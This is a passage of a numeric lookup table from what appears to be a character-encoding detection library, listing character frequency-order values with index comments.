427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 -3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 -4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 - 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 -2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 -4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 -3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 -5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 -1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 -5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 - 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 -1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 - 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 -4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 -1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 -4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 -1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 - 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 -3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 -4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 -5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 - 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 -3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 - 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 -2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 #last 512 -#Everything below is of no interest for detection purpose -2522,1613,4812,5799,3345,3945,2523,5800,4162,5801,1637,4163,2471,4813,3946,5802, # 5392 -2500,3034,3800,5803,5804,2195,4814,5805,2163,5806,5807,5808,5809,5810,5811,5812, # 5408 -5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828, # 5424 -5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844, # 5440 -5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856,5857,5858,5859,5860, # 5456 -5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876, # 5472 -5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888,5889,5890,5891,5892, # 5488 -5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908, # 5504 -5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920,5921,5922,5923,5924, # 5520 -5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940, # 5536 -5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952,5953,5954,5955,5956, # 5552 -5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970,5971,5972, # 5568 -5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988, # 5584 -5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004, # 5600 -6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020, # 5616 -6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032,6033,6034,6035,6036, # 5632 -6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052, # 5648 -6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068, # 5664 -6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084, # 5680 -6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100, # 5696 -6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116, # 5712 -6117,6118,6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,6132, # 5728 -6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148, # 5744 -6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,6164, # 5760 -6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180, # 5776 -6181,6182,6183,6184,6185,6186,6187,6188,6189,6190,6191,6192,6193,6194,6195,6196, # 5792 -6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,6211,6212, # 5808 -6213,6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,3670,6224,6225,6226,6227, # 5824 -6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,6242,6243, # 5840 -6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259, # 5856 -6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,6272,6273,6274,6275, # 5872 -6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,4815,6286,6287,6288,6289,6290, # 5888 -6291,6292,4816,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,6303,6304,6305, # 5904 -6306,6307,6308,6309,6310,6311,4817,4818,6312,6313,6314,6315,6316,6317,6318,4819, # 5920 -6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,6334, # 5936 -6335,6336,6337,4820,6338,6339,6340,6341,6342,6343,6344,6345,6346,6347,6348,6349, # 5952 -6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364,6365, # 5968 -6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381, # 5984 -6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,6396,6397, # 6000 -6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,3441,6411,6412, # 6016 -6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425,4440,6426,6427, # 6032 -6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443, # 6048 -6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,4821,6455,6456,6457,6458, # 6064 -6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474, # 6080 -6475,6476,6477,3947,3948,6478,6479,6480,6481,3272,4441,6482,6483,6484,6485,4442, # 6096 -6486,6487,6488,6489,6490,6491,6492,6493,6494,6495,6496,4822,6497,6498,6499,6500, # 6112 -6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516, # 6128 -6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532, # 6144 -6533,6534,6535,6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548, # 6160 -6549,6550,6551,6552,6553,6554,6555,6556,2784,6557,4823,6558,6559,6560,6561,6562, # 6176 -6563,6564,6565,6566,6567,6568,6569,3949,6570,6571,6572,4824,6573,6574,6575,6576, # 6192 -6577,6578,6579,6580,6581,6582,6583,4825,6584,6585,6586,3950,2785,6587,6588,6589, # 6208 -6590,6591,6592,6593,6594,6595,6596,6597,6598,6599,6600,6601,6602,6603,6604,6605, # 6224 -6606,6607,6608,6609,6610,6611,6612,4826,6613,6614,6615,4827,6616,6617,6618,6619, # 6240 -6620,6621,6622,6623,6624,6625,4164,6626,6627,6628,6629,6630,6631,6632,6633,6634, # 6256 -3547,6635,4828,6636,6637,6638,6639,6640,6641,6642,3951,2984,6643,6644,6645,6646, # 6272 -6647,6648,6649,4165,6650,4829,6651,6652,4830,6653,6654,6655,6656,6657,6658,6659, # 6288 -6660,6661,6662,4831,6663,6664,6665,6666,6667,6668,6669,6670,6671,4166,6672,4832, # 6304 -3952,6673,6674,6675,6676,4833,6677,6678,6679,4167,6680,6681,6682,3198,6683,6684, # 6320 -6685,6686,6687,6688,6689,6690,6691,6692,6693,6694,6695,6696,6697,4834,6698,6699, # 6336 -6700,6701,6702,6703,6704,6705,6706,6707,6708,6709,6710,6711,6712,6713,6714,6715, # 6352 -6716,6717,6718,6719,6720,6721,6722,6723,6724,6725,6726,6727,6728,6729,6730,6731, # 6368 -6732,6733,6734,4443,6735,6736,6737,6738,6739,6740,6741,6742,6743,6744,6745,4444, # 6384 -6746,6747,6748,6749,6750,6751,6752,6753,6754,6755,6756,6757,6758,6759,6760,6761, # 6400 -6762,6763,6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777, # 6416 -6778,6779,6780,6781,4168,6782,6783,3442,6784,6785,6786,6787,6788,6789,6790,6791, # 6432 -4169,6792,6793,6794,6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806, # 6448 -6807,6808,6809,6810,6811,4835,6812,6813,6814,4445,6815,6816,4446,6817,6818,6819, # 6464 -6820,6821,6822,6823,6824,6825,6826,6827,6828,6829,6830,6831,6832,6833,6834,6835, # 6480 -3548,6836,6837,6838,6839,6840,6841,6842,6843,6844,6845,6846,4836,6847,6848,6849, # 6496 -6850,6851,6852,6853,6854,3953,6855,6856,6857,6858,6859,6860,6861,6862,6863,6864, # 6512 -6865,6866,6867,6868,6869,6870,6871,6872,6873,6874,6875,6876,6877,3199,6878,6879, # 6528 -6880,6881,6882,4447,6883,6884,6885,6886,6887,6888,6889,6890,6891,6892,6893,6894, # 6544 -6895,6896,6897,6898,6899,6900,6901,6902,6903,6904,4170,6905,6906,6907,6908,6909, # 6560 -6910,6911,6912,6913,6914,6915,6916,6917,6918,6919,6920,6921,6922,6923,6924,6925, # 6576 -6926,6927,4837,6928,6929,6930,6931,6932,6933,6934,6935,6936,3346,6937,6938,4838, # 6592 -6939,6940,6941,4448,6942,6943,6944,6945,6946,4449,6947,6948,6949,6950,6951,6952, # 6608 -6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,6967,6968, # 6624 -6969,6970,6971,6972,6973,6974,6975,6976,6977,6978,6979,6980,6981,6982,6983,6984, # 6640 -6985,6986,6987,6988,6989,6990,6991,6992,6993,6994,3671,6995,6996,6997,6998,4839, # 6656 -6999,7000,7001,7002,3549,7003,7004,7005,7006,7007,7008,7009,7010,7011,7012,7013, # 6672 -7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,7028,7029, # 6688 -7030,4840,7031,7032,7033,7034,7035,7036,7037,7038,4841,7039,7040,7041,7042,7043, # 6704 -7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,7059, # 6720 -7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,2985,7071,7072,7073,7074, # 6736 -7075,7076,7077,7078,7079,7080,4842,7081,7082,7083,7084,7085,7086,7087,7088,7089, # 6752 -7090,7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105, # 6768 -7106,7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,4450,7119,7120, # 6784 -7121,7122,7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136, # 6800 -7137,7138,7139,7140,7141,7142,7143,4843,7144,7145,7146,7147,7148,7149,7150,7151, # 6816 -7152,7153,7154,7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167, # 6832 -7168,7169,7170,7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183, # 6848 -7184,7185,7186,7187,7188,4171,4172,7189,7190,7191,7192,7193,7194,7195,7196,7197, # 6864 -7198,7199,7200,7201,7202,7203,7204,7205,7206,7207,7208,7209,7210,7211,7212,7213, # 6880 -7214,7215,7216,7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229, # 6896 -7230,7231,7232,7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245, # 6912 -7246,7247,7248,7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261, # 6928 -7262,7263,7264,7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277, # 6944 -7278,7279,7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293, # 6960 -7294,7295,7296,4844,7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308, # 6976 -7309,7310,7311,7312,7313,7314,7315,7316,4451,7317,7318,7319,7320,7321,7322,7323, # 6992 -7324,7325,7326,7327,7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339, # 7008 -7340,7341,7342,7343,7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,4173,7354, # 7024 -7355,4845,7356,7357,7358,7359,7360,7361,7362,7363,7364,7365,7366,7367,7368,7369, # 7040 -7370,7371,7372,7373,7374,7375,7376,7377,7378,7379,7380,7381,7382,7383,7384,7385, # 7056 -7386,7387,7388,4846,7389,7390,7391,7392,7393,7394,7395,7396,7397,7398,7399,7400, # 7072 -7401,7402,7403,7404,7405,3672,7406,7407,7408,7409,7410,7411,7412,7413,7414,7415, # 7088 -7416,7417,7418,7419,7420,7421,7422,7423,7424,7425,7426,7427,7428,7429,7430,7431, # 7104 -7432,7433,7434,7435,7436,7437,7438,7439,7440,7441,7442,7443,7444,7445,7446,7447, # 7120 -7448,7449,7450,7451,7452,7453,4452,7454,3200,7455,7456,7457,7458,7459,7460,7461, # 7136 -7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,7472,7473,7474,4847,7475,7476, # 7152 -7477,3133,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,7488,7489,7490,7491, # 7168 -7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,3347,7503,7504,7505,7506, # 7184 -7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,7520,7521,4848, # 7200 -7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,7536,7537, # 7216 -7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,3801,4849,7550,7551, # 7232 -7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, # 7248 -7568,7569,3035,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582, # 7264 -7583,7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598, # 7280 -7599,7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614, # 7296 -7615,7616,4850,7617,7618,3802,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628, # 7312 -7629,7630,7631,7632,4851,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643, # 7328 -7644,7645,7646,7647,7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659, # 7344 -7660,7661,7662,7663,7664,7665,7666,7667,7668,7669,7670,4453,7671,7672,7673,7674, # 7360 -7675,7676,7677,7678,7679,7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690, # 7376 -7691,7692,7693,7694,7695,7696,7697,3443,7698,7699,7700,7701,7702,4454,7703,7704, # 7392 -7705,7706,7707,7708,7709,7710,7711,7712,7713,2472,7714,7715,7716,7717,7718,7719, # 7408 -7720,7721,7722,7723,7724,7725,7726,7727,7728,7729,7730,7731,3954,7732,7733,7734, # 7424 -7735,7736,7737,7738,7739,7740,7741,7742,7743,7744,7745,7746,7747,7748,7749,7750, # 7440 -3134,7751,7752,4852,7753,7754,7755,4853,7756,7757,7758,7759,7760,4174,7761,7762, # 7456 -7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,7777,7778, # 7472 -7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,7792,7793,7794, # 7488 -7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,4854,7806,7807,7808,7809, # 7504 -7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824,7825, # 7520 -4855,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7536 -7841,7842,7843,7844,7845,7846,7847,3955,7848,7849,7850,7851,7852,7853,7854,7855, # 7552 -7856,7857,7858,7859,7860,3444,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870, # 7568 -7871,7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886, # 7584 -7887,7888,7889,7890,7891,4175,7892,7893,7894,7895,7896,4856,4857,7897,7898,7899, # 7600 -7900,2598,7901,7902,7903,7904,7905,7906,7907,7908,4455,7909,7910,7911,7912,7913, # 7616 -7914,3201,7915,7916,7917,7918,7919,7920,7921,4858,7922,7923,7924,7925,7926,7927, # 7632 -7928,7929,7930,7931,7932,7933,7934,7935,7936,7937,7938,7939,7940,7941,7942,7943, # 7648 -7944,7945,7946,7947,7948,7949,7950,7951,7952,7953,7954,7955,7956,7957,7958,7959, # 7664 -7960,7961,7962,7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973,7974,7975, # 7680 -7976,7977,7978,7979,7980,7981,4859,7982,7983,7984,7985,7986,7987,7988,7989,7990, # 7696 -7991,7992,7993,7994,7995,7996,4860,7997,7998,7999,8000,8001,8002,8003,8004,8005, # 7712 -8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,4176,8017,8018,8019,8020, # 7728 -8021,8022,8023,4861,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035, # 7744 -8036,4862,4456,8037,8038,8039,8040,4863,8041,8042,8043,8044,8045,8046,8047,8048, # 7760 -8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064, # 7776 -8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080, # 7792 -8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096, # 7808 -8097,8098,8099,4864,4177,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110, # 7824 -8111,8112,8113,8114,8115,8116,8117,8118,8119,8120,4178,8121,8122,8123,8124,8125, # 7840 -8126,8127,8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141, # 7856 -8142,8143,8144,8145,4865,4866,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155, # 7872 -8156,8157,8158,8159,8160,8161,8162,8163,8164,8165,4179,8166,8167,8168,8169,8170, # 7888 -8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181,4457,8182,8183,8184,8185, # 7904 -8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201, # 7920 -8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213,8214,8215,8216,8217, # 7936 -8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229,8230,8231,8232,8233, # 7952 -8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245,8246,8247,8248,8249, # 7968 -8250,8251,8252,8253,8254,8255,8256,3445,8257,8258,8259,8260,8261,8262,4458,8263, # 7984 -8264,8265,8266,8267,8268,8269,8270,8271,8272,4459,8273,8274,8275,8276,3550,8277, # 8000 -8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,4460,8290,8291,8292, # 8016 -8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,4867, # 8032 -8308,8309,8310,8311,8312,3551,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322, # 8048 -8323,8324,8325,8326,4868,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337, # 8064 -8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353, # 8080 -8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,4869,4461,8364,8365,8366,8367, # 8096 -8368,8369,8370,4870,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382, # 8112 -8383,8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398, # 8128 -8399,8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,4871,8411,8412,8413, # 8144 -8414,8415,8416,8417,8418,8419,8420,8421,8422,4462,8423,8424,8425,8426,8427,8428, # 8160 -8429,8430,8431,8432,8433,2986,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443, # 8176 -8444,8445,8446,8447,8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459, # 8192 -8460,8461,8462,8463,8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475, # 8208 -8476,8477,8478,4180,8479,8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490, # 8224 -8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506, # 8240 -8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522, # 8256 -8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538, # 8272 -8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554, # 8288 -8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,4872,8565,8566,8567,8568,8569, # 8304 -8570,8571,8572,8573,4873,8574,8575,8576,8577,8578,8579,8580,8581,8582,8583,8584, # 8320 -8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597,8598,8599,8600, # 8336 -8601,8602,8603,8604,8605,3803,8606,8607,8608,8609,8610,8611,8612,8613,4874,3804, # 8352 -8614,8615,8616,8617,8618,8619,8620,8621,3956,8622,8623,8624,8625,8626,8627,8628, # 8368 -8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,2865,8639,8640,8641,8642,8643, # 8384 -8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,4463,8657,8658, # 8400 -8659,4875,4876,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672, # 8416 -8673,8674,8675,8676,8677,8678,8679,8680,8681,4464,8682,8683,8684,8685,8686,8687, # 8432 -8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, # 8448 -8704,8705,8706,8707,8708,8709,2261,8710,8711,8712,8713,8714,8715,8716,8717,8718, # 8464 -8719,8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,4181, # 8480 -8734,8735,8736,8737,8738,8739,8740,8741,8742,8743,8744,8745,8746,8747,8748,8749, # 8496 -8750,8751,8752,8753,8754,8755,8756,8757,8758,8759,8760,8761,8762,8763,4877,8764, # 8512 -8765,8766,8767,8768,8769,8770,8771,8772,8773,8774,8775,8776,8777,8778,8779,8780, # 8528 -8781,8782,8783,8784,8785,8786,8787,8788,4878,8789,4879,8790,8791,8792,4880,8793, # 8544 -8794,8795,8796,8797,8798,8799,8800,8801,4881,8802,8803,8804,8805,8806,8807,8808, # 8560 -8809,8810,8811,8812,8813,8814,8815,3957,8816,8817,8818,8819,8820,8821,8822,8823, # 8576 -8824,8825,8826,8827,8828,8829,8830,8831,8832,8833,8834,8835,8836,8837,8838,8839, # 8592 -8840,8841,8842,8843,8844,8845,8846,8847,4882,8848,8849,8850,8851,8852,8853,8854, # 8608 -8855,8856,8857,8858,8859,8860,8861,8862,8863,8864,8865,8866,8867,8868,8869,8870, # 8624 -8871,8872,8873,8874,8875,8876,8877,8878,8879,8880,8881,8882,8883,8884,3202,8885, # 8640 -8886,8887,8888,8889,8890,8891,8892,8893,8894,8895,8896,8897,8898,8899,8900,8901, # 8656 -8902,8903,8904,8905,8906,8907,8908,8909,8910,8911,8912,8913,8914,8915,8916,8917, # 8672 -8918,8919,8920,8921,8922,8923,8924,4465,8925,8926,8927,8928,8929,8930,8931,8932, # 8688 -4883,8933,8934,8935,8936,8937,8938,8939,8940,8941,8942,8943,2214,8944,8945,8946, # 8704 -8947,8948,8949,8950,8951,8952,8953,8954,8955,8956,8957,8958,8959,8960,8961,8962, # 8720 -8963,8964,8965,4884,8966,8967,8968,8969,8970,8971,8972,8973,8974,8975,8976,8977, # 8736 -8978,8979,8980,8981,8982,8983,8984,8985,8986,8987,8988,8989,8990,8991,8992,4885, # 8752 -8993,8994,8995,8996,8997,8998,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008, # 8768 -9009,9010,9011,9012,9013,9014,9015,9016,9017,9018,9019,9020,9021,4182,9022,9023, # 8784 -9024,9025,9026,9027,9028,9029,9030,9031,9032,9033,9034,9035,9036,9037,9038,9039, # 8800 -9040,9041,9042,9043,9044,9045,9046,9047,9048,9049,9050,9051,9052,9053,9054,9055, # 8816 -9056,9057,9058,9059,9060,9061,9062,9063,4886,9064,9065,9066,9067,9068,9069,4887, # 8832 -9070,9071,9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085, # 8848 -9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9101, # 8864 -9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117, # 8880 -9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133, # 8896 -9134,9135,9136,9137,9138,9139,9140,9141,3958,9142,9143,9144,9145,9146,9147,9148, # 8912 -9149,9150,9151,4888,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163, # 8928 -9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,4889,9176,9177,9178, # 8944 -9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194, # 8960 -9195,9196,9197,9198,9199,9200,9201,9202,9203,4890,9204,9205,9206,9207,9208,9209, # 8976 -9210,9211,9212,9213,9214,9215,9216,9217,9218,9219,9220,9221,9222,4466,9223,9224, # 8992 -9225,9226,9227,9228,9229,9230,9231,9232,9233,9234,9235,9236,9237,9238,9239,9240, # 9008 -9241,9242,9243,9244,9245,4891,9246,9247,9248,9249,9250,9251,9252,9253,9254,9255, # 9024 -9256,9257,4892,9258,9259,9260,9261,4893,4894,9262,9263,9264,9265,9266,9267,9268, # 9040 -9269,9270,9271,9272,9273,4467,9274,9275,9276,9277,9278,9279,9280,9281,9282,9283, # 9056 -9284,9285,3673,9286,9287,9288,9289,9290,9291,9292,9293,9294,9295,9296,9297,9298, # 9072 -9299,9300,9301,9302,9303,9304,9305,9306,9307,9308,9309,9310,9311,9312,9313,9314, # 9088 -9315,9316,9317,9318,9319,9320,9321,9322,4895,9323,9324,9325,9326,9327,9328,9329, # 9104 -9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,9344,9345, # 9120 -9346,9347,4468,9348,9349,9350,9351,9352,9353,9354,9355,9356,9357,9358,9359,9360, # 9136 -9361,9362,9363,9364,9365,9366,9367,9368,9369,9370,9371,9372,9373,4896,9374,4469, # 9152 -9375,9376,9377,9378,9379,4897,9380,9381,9382,9383,9384,9385,9386,9387,9388,9389, # 9168 -9390,9391,9392,9393,9394,9395,9396,9397,9398,9399,9400,9401,9402,9403,9404,9405, # 9184 -9406,4470,9407,2751,9408,9409,3674,3552,9410,9411,9412,9413,9414,9415,9416,9417, # 9200 -9418,9419,9420,9421,4898,9422,9423,9424,9425,9426,9427,9428,9429,3959,9430,9431, # 9216 -9432,9433,9434,9435,9436,4471,9437,9438,9439,9440,9441,9442,9443,9444,9445,9446, # 9232 -9447,9448,9449,9450,3348,9451,9452,9453,9454,9455,9456,9457,9458,9459,9460,9461, # 9248 -9462,9463,9464,9465,9466,9467,9468,9469,9470,9471,9472,4899,9473,9474,9475,9476, # 9264 -9477,4900,9478,9479,9480,9481,9482,9483,9484,9485,9486,9487,9488,3349,9489,9490, # 9280 -9491,9492,9493,9494,9495,9496,9497,9498,9499,9500,9501,9502,9503,9504,9505,9506, # 9296 -9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517,9518,9519,9520,4901,9521, # 9312 -9522,9523,9524,9525,9526,4902,9527,9528,9529,9530,9531,9532,9533,9534,9535,9536, # 9328 -9537,9538,9539,9540,9541,9542,9543,9544,9545,9546,9547,9548,9549,9550,9551,9552, # 9344 -9553,9554,9555,9556,9557,9558,9559,9560,9561,9562,9563,9564,9565,9566,9567,9568, # 9360 -9569,9570,9571,9572,9573,9574,9575,9576,9577,9578,9579,9580,9581,9582,9583,9584, # 9376 -3805,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599, # 9392 -9600,9601,9602,4903,9603,9604,9605,9606,9607,4904,9608,9609,9610,9611,9612,9613, # 9408 